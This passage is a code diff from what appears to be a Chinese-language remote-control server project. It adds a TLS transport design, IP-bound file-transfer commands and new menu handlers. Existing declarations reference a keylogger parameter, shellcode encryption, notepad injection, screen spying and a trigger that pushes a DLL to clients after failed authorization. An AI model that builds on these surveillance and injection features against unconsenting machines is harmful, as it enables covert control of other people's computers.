|
| 客户端 | 服务端 TLS 状态 | 服务端行为 | 结果 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 老客户端(无 TLS 概念) | 未配置 | 明文路径 | 与现状完全一致 |
|
||||||
|
| 老客户端 | 已配置 | 嗅探判为明文 → 明文路径 | 与现状完全一致(透明) |
|
||||||
|
| 新客户端 · 无证书 | 未配置 / 已配置 | 明文路径 | 与老客户端一致(默认) |
|
||||||
|
| 新客户端 · 有证书 | 已配置 | 嗅探判为 TLS → 握手 → 加密 | 全量加密 |
|
||||||
|
| 新客户端 · 有证书 | 未配置 | 嗅探判为 TLS → 无证书可握手 → **关连接(fail-closed)** | 拒绝(见 §8) |
|
||||||
|
|
||||||
|
## 7. 与未来「下发/撤销指令 + UI」的接缝
|
||||||
|
|
||||||
|
本次不实现 UI 与指令,但通过 §4.2 四条约束预留干净接缝。二者未来的分工与依赖:
|
||||||
|
|
||||||
|
- **UI**:在 MFC 配置对话框(类 MCP)里加「启用传输加密 + 指定一对密钥」,写入 `[tls]` 三键 → 调 `ServerTlsIdentity::Load(config&)` 重载 → `IsEnabled()` 即时生效。**只碰 §4.2 第 1/2 点,不碰传输层。**
|
||||||
|
- **「向在线主机下发启用/撤销加密」指令**:服务端侧是一条新的命令通道(遍历在线连接广播),客户端侧是**运行时热切换**——收到指令后热加载/删除信任锚、断开重连走新通道。
|
||||||
|
|
||||||
|
**必须先说破的跨端依赖**:这条指令真正的大头在**客户端**——客户端目前读 `tls_cert` 是进程启动读一次、`std::call_once`、**不可热切换**(见上游 §6.1 及 `docs/tls-cert-push-revoke-deferred` 记忆)。因此「下发/撤销」落地时,客户端要先把 `TlsEnabled()` 的一次读死改成「指令驱动的热重载」。**这与本次服务端传输层正交**——只要 §4.2 第 2/3 点把服务端状态做成可重载、可中心化查询,未来就能干净接上,无需回头改本次代码。
|
||||||
|
|
||||||
|
## 8. 安全考量
|
||||||
|
|
||||||
|
- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成,与 Go 端一致。
|
||||||
|
- **TLS 不提供**(单向):客户端身份——仍由隧道内登录承担。
|
||||||
|
- **服务端 fail-closed**:服务端收到 TLS ClientHello 但自身未配证书/身份加载失败 → **直接关连接**,禁止把 TLS 字节当协议去解析(否则新客户端握手失败重试 + 服务端狂报解析错)。与客户端 fail-closed 语义对称(见上游 §6.4)。
|
||||||
|
- **握手 DoS**:TLS 握手有 CPU 开销,须受 per-IP 限流(现有)保护;方案 A 的短命握手线程还须加握手超时(`SSPI` 握手期间设 socket 收发超时,超时关连接)。
|
||||||
|
- **部署顺序**(关键):**MFC 服务端证书必须与客户端 CA 一起(或先于)上线**。否则「新客户端(已钉 CA)连旧 MFC 服务端(无证书)」→ 客户端 fail-closed 直接拒绝,表现为「升级客户端后连不上老服务端」。这是设计使然,部署/文档须写明。
|
||||||
|
- **私钥安全**:服务器私钥只在握手时由 Schannel 内部签名使用(ECDHE)或解密预主密钥(RSA),不参与业务数据加解密;私钥文件应最小权限存放、不落日志。真正的长期秘密(CA 私钥)平时离线,仅在签发/轮换服务器证书时使用。
|
||||||
|
|
||||||
|
## 9. 部署与运维
|
||||||
|
|
||||||
|
生成服务端身份(与 Go 端 §9.1 的 `server.crt` + `server.key` 完全同一对密钥;私钥须 PKCS#8):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 若私钥是 PKCS#1(-----BEGIN RSA/EC PRIVATE KEY-----),先转 PKCS#8:
|
||||||
|
openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key
|
||||||
|
```
|
||||||
|
|
||||||
|
MFC 服务端配置(直接指向与 Go 端相同的 PEM 文件):
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[tls]
|
||||||
|
Enabled = 1
|
||||||
|
CertPath = C:\YAMA\server.crt
|
||||||
|
KeyPath = C:\YAMA\server.key
|
||||||
|
```
|
||||||
|
|
||||||
|
重启 MFC 服务端即生效(本次仅启动时读一次,热切换待未来 UI)。删除 `[tls]` 节或置 `Enabled=0` 即回纯明文。
|
||||||
|
|
||||||
|
## 10. 测试计划
|
||||||
|
|
||||||
|
1. **嗅探单元**:`0x16 0x03 .. 0x01`(TLS 1.2/1.3 ClientHello)/ 明文首包 / 混淆头(首两字节 `0x16 0x03` 但 `b[5]!=0x01`)/ 首包 <6 字节分片 的判定。
|
||||||
|
2. **TLS 未配置**:`Enabled=0` 或无证书 → 纯明文,行为与现状一致(老 + 新无证书客户端回归)。
|
||||||
|
3. **明文回归**:老客户端全链路(登录/屏幕/终端/文件)不回归。
|
||||||
|
4. **TLS 加密**:新客户端(有证书)连 MFC 服务端 → 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
|
||||||
|
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰(对应未来过渡期)。
|
||||||
|
6. **fail-closed 双向**:① 服务端未配证书但收到 ClientHello → 关连接不误解析;② 客户端有证书但服务端证书不匹配 → 客户端断开不回退明文。
|
||||||
|
7. **握手超时 / 限流**:恶意慢握手被超时 + per-IP 限流压制。
|
||||||
|
8. **连接复用**:一条 TLS 连接断开后,context 回池再被明文连接复用,TLS 状态已复位、无泄漏(§5.7)。
|
||||||
|
|
||||||
|
## 11. 分期与回滚
|
||||||
|
|
||||||
|
- **本期(MFC 服务端传输加密,已实施)**:`ServerTlsIdentity`(PEM+CNG 加载)+ `CONTEXT_OBJECT` 字段(`tlsState` 枚举)+ 嗅探/预分类 + 握手(方案 A)+ ①收包解密 + ②发包加密 + 生命周期复位。可独立验证——用 `openssl s_client` 或复用 Go 端测试客户端联调,无需真实客户端配合。
|
||||||
|
- **后续 A(UI)**:MCP 式配置对话框 + 重载 `ServerTlsIdentity`。
|
||||||
|
- **后续 B(下发/撤销指令)**:服务端指令通道 + **客户端热切换**(客户端 `TlsEnabled()` 改指令驱动,见 §7)。
|
||||||
|
- **回滚**:服务端 `[tls] Enabled=0` 即回纯明文,无需改客户端(客户端无证书时本就明文)。
|
||||||
|
|
||||||
|
## 12. 已拍板决策与仍待定问题
|
||||||
|
|
||||||
|
**已拍板(2026-10-14)**:
|
||||||
|
|
||||||
|
1. **握手方案**:采用 **方案 A(专用阻塞线程)**,见 §5.3。
|
||||||
|
2. **身份文件格式**:采用 **PEM + CNG(`CertPath` + `KeyPath`,私钥 PKCS#8)**,与 Go 服务端共用同一对密钥,见 §5.6。
|
||||||
|
3. **配置节名**:新建 **`[tls]` 节**,键 `Enabled` / `CertPath` / `KeyPath`,见 §4.1。
|
||||||
|
|
||||||
|
**仍待定**:
|
||||||
|
|
||||||
|
1. **KCP/UDP 传输是否也要 TLS**:本期不含,另行评估。
|
||||||
|
2. **MFC 的 MCP 式配置 UI**:显式排除,见 §7;落地时只碰 §4.2 第 1/2 点。
|
||||||
Binary file not shown.
File diff suppressed because it is too large.
Load diff
@@ -43,18 +43,30 @@ typedef struct DllInfo {
|
|||||||
|
|
||||||
typedef struct FileTransformCmd {
|
typedef struct FileTransformCmd {
|
||||||
CLock Lock;
|
CLock Lock;
|
||||||
std::map<std::string, uint64_t> CmdTime;
|
// md5 -> (目标客户端源 IP, 登记时间)。源 IP 绑定:只有与 PutCmd 登记时同源 IP 的
|
||||||
void PutCmd(const std::string& str)
|
// 子连接才能消费该 md5,防止异常客户端在别的 IP 上冒用文件传输指令。
|
||||||
|
std::map<std::string, std::pair<std::string, uint64_t>> CmdInfo;
|
||||||
|
void PutCmd(const std::string& str, const std::string& peerIP)
|
||||||
{
|
{
|
||||||
Lock.Lock();
|
Lock.Lock();
|
||||||
CmdTime[str] = time(0);
|
CmdInfo[str] = std::make_pair(peerIP, (uint64_t)time(0));
|
||||||
Lock.Unlock();
|
Lock.Unlock();
|
||||||
}
|
}
|
||||||
bool PopCmd(const std::string& str, int timeoutSec = 10)
|
bool PopCmd(const std::string& str, const std::string& peerIP, int timeoutSec = 10)
|
||||||
{
|
{
|
||||||
Lock.Lock();
|
Lock.Lock();
|
||||||
bool valid = CmdTime.find(str) != CmdTime.end() && time(0) - CmdTime[str] < timeoutSec;
|
auto it = CmdInfo.find(str);
|
||||||
CmdTime.erase(str);
|
if (it == CmdInfo.end()) {
|
||||||
|
Lock.Unlock();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
uint64_t now = (uint64_t)time(0);
|
||||||
|
bool expired = now - it->second.second >= (uint64_t)timeoutSec;
|
||||||
|
bool matched = it->second.first == peerIP;
|
||||||
|
// 过期或成功消费才删除;源 IP 不匹配(冒用)保留,让合法客户端在 TTL 内仍可取回。
|
||||||
|
bool valid = !expired && matched;
|
||||||
|
if (expired || valid)
|
||||||
|
CmdInfo.erase(it);
|
||||||
Lock.Unlock();
|
Lock.Unlock();
|
||||||
return valid;
|
return valid;
|
||||||
}
|
}
|
||||||
@@ -109,6 +121,13 @@ bool SupportsFileTransferV2(context* ctx);
|
|||||||
// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。
|
// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。
|
||||||
UINT GetClientEncoding(context* ctx);
|
UINT GetClientEncoding(context* ctx);
|
||||||
|
|
||||||
|
// 获取客户端「进程名/路径」编码 (CP_UTF8 或 936)。
|
||||||
|
// 与 GetClientEncoding 不同:Windows 客户端的进程名/路径由 A 接口
|
||||||
|
// (Process32FirstA / QueryFullProcessImageNameA 等)生成,恒为客户端系统
|
||||||
|
// ANSI(简中=GBK/936),不随 CLIENT_CAP_UTF8 转 UTF-8;仅 LNX/MAC 走 UTF-8。
|
||||||
|
// 与 McpServer::BuildListProcesses 的判定保持一致。
|
||||||
|
UINT GetProcessListEncoding(context* ctx);
|
||||||
|
|
||||||
// 服务端待续传的传输信息
|
// 服务端待续传的传输信息
|
||||||
struct PendingTransferV2 {
|
struct PendingTransferV2 {
|
||||||
uint64_t clientID;
|
uint64_t clientID;
|
||||||
@@ -216,6 +235,9 @@ public:
|
|||||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
|
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
|
||||||
CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
|
CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
|
||||||
VOID ShowMessage(CString strType, CString strMsg);
|
VOID ShowMessage(CString strType, CString strMsg);
|
||||||
|
// 消息中含 UTF-8(如地理位置)时使用:消息列经 LVM_SETITEMTEXTW 写宽字符串,
|
||||||
|
// 避免 UTF-8 在 ANSI 日志列表里被按 GBK 显示成乱码(Böblingen → B枚blingen)。
|
||||||
|
VOID ShowMessageW(const CStringW& strType, const CStringW& strMsg);
|
||||||
VOID CreatStatusBar();
|
VOID CreatStatusBar();
|
||||||
VOID CreateToolBar();
|
VOID CreateToolBar();
|
||||||
VOID CreateNotifyBar();
|
VOID CreateNotifyBar();
|
||||||
@@ -233,9 +255,10 @@ public:
|
|||||||
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
||||||
// expired=true 表示签名有效但已过期(可用于续期)
|
// expired=true 表示签名有效但已过期(可用于续期)
|
||||||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||||||
|
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
|
||||||
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
||||||
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
||||||
const char* source = "AUTH");
|
const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
|
||||||
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
||||||
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
||||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||||
@@ -347,6 +370,11 @@ public:
|
|||||||
void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
|
void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
|
||||||
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
|
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
|
||||||
void OnPreviewLevels(); // 高级→屏幕预览质量等级
|
void OnPreviewLevels(); // 高级→屏幕预览质量等级
|
||||||
|
|
||||||
|
// ===== 文件传输速度配置([transfer] 节,ChunkKb / DurationMs) =====
|
||||||
|
// 主控端 UI 偏好,持久化走 THIS_CFG。上传方向读 THIS_CFG(重启主控端生效);
|
||||||
|
// 下载方向随 MasterSettings 下发(新连接登录即收到,改档后立即推送给在线客户端)。
|
||||||
|
void OnFileTransferSpeed(); // 高级→文件传输速度
|
||||||
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
||||||
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
||||||
void ClearThumbnailCacheEntry(uint64_t clientID);
|
void ClearThumbnailCacheEntry(uint64_t clientID);
|
||||||
@@ -425,7 +453,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[66];
|
CBitmap m_bmOnline[71];
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -510,6 +538,13 @@ public:
|
|||||||
// 由 m_cs 保护。
|
// 由 m_cs 保护。
|
||||||
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||||
afx_msg void OnOnlineMessage();
|
afx_msg void OnOnlineMessage();
|
||||||
|
afx_msg void OnChat();
|
||||||
|
afx_msg void OnMachineManager();
|
||||||
|
afx_msg void OnExperimentFileManager();
|
||||||
|
afx_msg void OnExperimentPrivateScreen();
|
||||||
|
afx_msg void OnExperimentDrawingBoard();
|
||||||
|
afx_msg void OnExperimentTlsEnable();
|
||||||
|
afx_msg void OnExperimentTlsDisable();
|
||||||
afx_msg void OnOnlineDelete();
|
afx_msg void OnOnlineDelete();
|
||||||
afx_msg void OnOnlineUpdate();
|
afx_msg void OnOnlineUpdate();
|
||||||
afx_msg void OnAbout();
|
afx_msg void OnAbout();
|
||||||
@@ -607,6 +642,7 @@ public:
|
|||||||
afx_msg void OnMsglogLoginNotify();
|
afx_msg void OnMsglogLoginNotify();
|
||||||
afx_msg void OnMsglogBanIP();
|
afx_msg void OnMsglogBanIP();
|
||||||
afx_msg void OnMsglogUnbanIP();
|
afx_msg void OnMsglogUnbanIP();
|
||||||
|
afx_msg void OnMsglogWhitelistIP();
|
||||||
afx_msg void OnOnlineAddWatch();
|
afx_msg void OnOnlineAddWatch();
|
||||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
afx_msg void OnOnlineRunAsAdmin();
|
afx_msg void OnOnlineRunAsAdmin();
|
||||||
@@ -640,6 +676,7 @@ public:
|
|||||||
afx_msg void OnToolPluginSettings();
|
afx_msg void OnToolPluginSettings();
|
||||||
afx_msg void OnTriggerSettings();
|
afx_msg void OnTriggerSettings();
|
||||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||||
|
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
|
||||||
afx_msg void OnShellcodeAesCArray();
|
afx_msg void OnShellcodeAesCArray();
|
||||||
afx_msg void OnParamKblogger();
|
afx_msg void OnParamKblogger();
|
||||||
afx_msg void OnOnlineInjNotepad();
|
afx_msg void OnOnlineInjNotepad();
|
||||||
@@ -674,6 +711,8 @@ public:
|
|||||||
afx_msg void OnCancelShare();
|
afx_msg void OnCancelShare();
|
||||||
afx_msg void OnWebRemoteControl();
|
afx_msg void OnWebRemoteControl();
|
||||||
afx_msg void OnMcpSettings();
|
afx_msg void OnMcpSettings();
|
||||||
|
afx_msg void OnTlsCertificate();
|
||||||
|
afx_msg void OnConnectionManage();
|
||||||
afx_msg void OnProxyPortAutorun();
|
afx_msg void OnProxyPortAutorun();
|
||||||
afx_msg void OnScreenpreviewLoop();
|
afx_msg void OnScreenpreviewLoop();
|
||||||
afx_msg void OnMenuCompress();
|
afx_msg void OnMenuCompress();
|
||||||
@@ -688,5 +727,6 @@ public:
|
|||||||
afx_msg void OnOnlineClientLog();
|
afx_msg void OnOnlineClientLog();
|
||||||
afx_msg void OnOnlineHistoryActivity();
|
afx_msg void OnOnlineHistoryActivity();
|
||||||
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnOnlineForbidden();
|
afx_msg void OnOnlineForbidden();
|
||||||
};
|
};
|
||||||
@@ -266,6 +266,7 @@
|
|||||||
<None Include="res\Cur\MutiDrag.cur" />
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
<None Include="res\My2015Remote.rc2" />
|
<None Include="res\My2015Remote.rc2" />
|
||||||
<None Include="res\web\fit.min.js" />
|
<None Include="res\web\fit.min.js" />
|
||||||
|
<None Include="res\web\opus-decoder.min.js" />
|
||||||
<None Include="res\web\xterm.css" />
|
<None Include="res\web\xterm.css" />
|
||||||
<None Include="res\web\xterm.min.js" />
|
<None Include="res\web\xterm.min.js" />
|
||||||
<None Include="stub2\stub32.bin" />
|
<None Include="stub2\stub32.bin" />
|
||||||
@@ -328,6 +329,7 @@
|
|||||||
<ClInclude Include="LangManager.h" />
|
<ClInclude Include="LangManager.h" />
|
||||||
<ClInclude Include="McpServer.h" />
|
<ClInclude Include="McpServer.h" />
|
||||||
<ClInclude Include="McpSettingsDlg.h" />
|
<ClInclude Include="McpSettingsDlg.h" />
|
||||||
|
<ClInclude Include="TlsCertificateDlg.h" />
|
||||||
<ClInclude Include="NetworkDlg.h" />
|
<ClInclude Include="NetworkDlg.h" />
|
||||||
<ClInclude Include="NotifyConfig.h" />
|
<ClInclude Include="NotifyConfig.h" />
|
||||||
<ClInclude Include="NotifyManager.h" />
|
<ClInclude Include="NotifyManager.h" />
|
||||||
@@ -349,7 +351,9 @@
|
|||||||
<ClInclude Include="ScreenSpyDlg.h" />
|
<ClInclude Include="ScreenSpyDlg.h" />
|
||||||
<ClInclude Include="SearchBarDlg.h" />
|
<ClInclude Include="SearchBarDlg.h" />
|
||||||
<ClInclude Include="Server.h" />
|
<ClInclude Include="Server.h" />
|
||||||
|
<ClInclude Include="ServerTlsSession.h" />
|
||||||
<ClInclude Include="ServicesDlg.h" />
|
<ClInclude Include="ServicesDlg.h" />
|
||||||
|
<ClInclude Include="ConnectionsDlg.h" />
|
||||||
<ClInclude Include="SettingDlg.h" />
|
<ClInclude Include="SettingDlg.h" />
|
||||||
<ClInclude Include="ShellDlg.h" />
|
<ClInclude Include="ShellDlg.h" />
|
||||||
<ClInclude Include="TerminalDlg.h" />
|
<ClInclude Include="TerminalDlg.h" />
|
||||||
@@ -394,6 +398,7 @@
|
|||||||
<ClCompile Include="HostJson.cpp" />
|
<ClCompile Include="HostJson.cpp" />
|
||||||
<ClCompile Include="McpServer.cpp" />
|
<ClCompile Include="McpServer.cpp" />
|
||||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||||
|
<ClCompile Include="TlsCertificateDlg.cpp" />
|
||||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||||
@@ -455,6 +460,7 @@
|
|||||||
<ClCompile Include="ZstaPickerDlg.cpp" />
|
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
|
<ClCompile Include="ServerTlsSession.cpp" />
|
||||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||||
<ClCompile Include="IPHistoryDlg.cpp" />
|
<ClCompile Include="IPHistoryDlg.cpp" />
|
||||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||||
@@ -483,6 +489,7 @@
|
|||||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="SearchBarDlg.cpp" />
|
<ClCompile Include="SearchBarDlg.cpp" />
|
||||||
<ClCompile Include="ServicesDlg.cpp" />
|
<ClCompile Include="ServicesDlg.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||||
<ClCompile Include="SettingDlg.cpp" />
|
<ClCompile Include="SettingDlg.cpp" />
|
||||||
<ClCompile Include="ShellDlg.cpp" />
|
<ClCompile Include="ShellDlg.cpp" />
|
||||||
<ClCompile Include="TerminalDlg.cpp" />
|
<ClCompile Include="TerminalDlg.cpp" />
|
||||||
@@ -523,6 +530,8 @@
|
|||||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||||
<Image Include="res\Bitmap\ClientLog.bmp" />
|
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||||
|
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||||
|
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||||
<Image Include="res\Bitmap\Forbidden.bmp" />
|
<Image Include="res\Bitmap\Forbidden.bmp" />
|
||||||
<Image Include="res\bitmap\compress.bmp" />
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<Image Include="res\Bitmap\Copy.bmp" />
|
<Image Include="res\Bitmap\Copy.bmp" />
|
||||||
@@ -558,6 +567,7 @@
|
|||||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||||
|
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||||
<Image Include="res\Bitmap\proxy.bmp" />
|
<Image Include="res\Bitmap\proxy.bmp" />
|
||||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||||
@@ -582,6 +592,7 @@
|
|||||||
<Image Include="res\chat.ico" />
|
<Image Include="res\chat.ico" />
|
||||||
<Image Include="res\ClientLog.ico" />
|
<Image Include="res\ClientLog.ico" />
|
||||||
<Image Include="res\cmdshell.ico" />
|
<Image Include="res\cmdshell.ico" />
|
||||||
|
<Image Include="res\connections.ico" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
<Image Include="res\dword.ico" />
|
<Image Include="res\dword.ico" />
|
||||||
|
|||||||
@@ -21,6 +21,7 @@
|
|||||||
<ClCompile Include="InputDlg.cpp" />
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
<ClCompile Include="ZstaPickerDlg.cpp" />
|
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
|
<ClCompile Include="ServerTlsSession.cpp" />
|
||||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||||
<ClCompile Include="Loader.c" />
|
<ClCompile Include="Loader.c" />
|
||||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||||
@@ -29,6 +30,7 @@
|
|||||||
<ClCompile Include="RegisterDlg.cpp" />
|
<ClCompile Include="RegisterDlg.cpp" />
|
||||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="ServicesDlg.cpp" />
|
<ClCompile Include="ServicesDlg.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||||
<ClCompile Include="SettingDlg.cpp" />
|
<ClCompile Include="SettingDlg.cpp" />
|
||||||
<ClCompile Include="ShellDlg.cpp" />
|
<ClCompile Include="ShellDlg.cpp" />
|
||||||
<ClCompile Include="TerminalDlg.cpp" />
|
<ClCompile Include="TerminalDlg.cpp" />
|
||||||
@@ -88,6 +90,7 @@
|
|||||||
<ClCompile Include="HostJson.cpp" />
|
<ClCompile Include="HostJson.cpp" />
|
||||||
<ClCompile Include="McpServer.cpp" />
|
<ClCompile Include="McpServer.cpp" />
|
||||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||||
|
<ClCompile Include="TlsCertificateDlg.cpp" />
|
||||||
<ClCompile Include="CClientLog.cpp" />
|
<ClCompile Include="CClientLog.cpp" />
|
||||||
<ClCompile Include="CActivityDialog.cpp" />
|
<ClCompile Include="CActivityDialog.cpp" />
|
||||||
<ClCompile Include="LogSearchBar.cpp" />
|
<ClCompile Include="LogSearchBar.cpp" />
|
||||||
@@ -128,6 +131,7 @@
|
|||||||
<ClInclude Include="Resource.h" />
|
<ClInclude Include="Resource.h" />
|
||||||
<ClInclude Include="ScreenSpyDlg.h" />
|
<ClInclude Include="ScreenSpyDlg.h" />
|
||||||
<ClInclude Include="ServicesDlg.h" />
|
<ClInclude Include="ServicesDlg.h" />
|
||||||
|
<ClInclude Include="ConnectionsDlg.h" />
|
||||||
<ClInclude Include="SettingDlg.h" />
|
<ClInclude Include="SettingDlg.h" />
|
||||||
<ClInclude Include="ShellDlg.h" />
|
<ClInclude Include="ShellDlg.h" />
|
||||||
<ClInclude Include="TerminalDlg.h" />
|
<ClInclude Include="TerminalDlg.h" />
|
||||||
@@ -153,6 +157,7 @@
|
|||||||
</ClInclude>
|
</ClInclude>
|
||||||
<ClInclude Include="IOCPUDPServer.h" />
|
<ClInclude Include="IOCPUDPServer.h" />
|
||||||
<ClInclude Include="Server.h" />
|
<ClInclude Include="Server.h" />
|
||||||
|
<ClInclude Include="ServerTlsSession.h" />
|
||||||
<ClInclude Include="CDrawingBoard.h" />
|
<ClInclude Include="CDrawingBoard.h" />
|
||||||
<ClInclude Include="IOCPKCPServer.h" />
|
<ClInclude Include="IOCPKCPServer.h" />
|
||||||
<ClInclude Include="..\..\common\ikcp.h" />
|
<ClInclude Include="..\..\common\ikcp.h" />
|
||||||
@@ -199,6 +204,7 @@
|
|||||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||||
<ClInclude Include="McpServer.h" />
|
<ClInclude Include="McpServer.h" />
|
||||||
<ClInclude Include="McpSettingsDlg.h" />
|
<ClInclude Include="McpSettingsDlg.h" />
|
||||||
|
<ClInclude Include="TlsCertificateDlg.h" />
|
||||||
<ClInclude Include="CClientLog.h" />
|
<ClInclude Include="CClientLog.h" />
|
||||||
<ClInclude Include="CActivityDialog.h" />
|
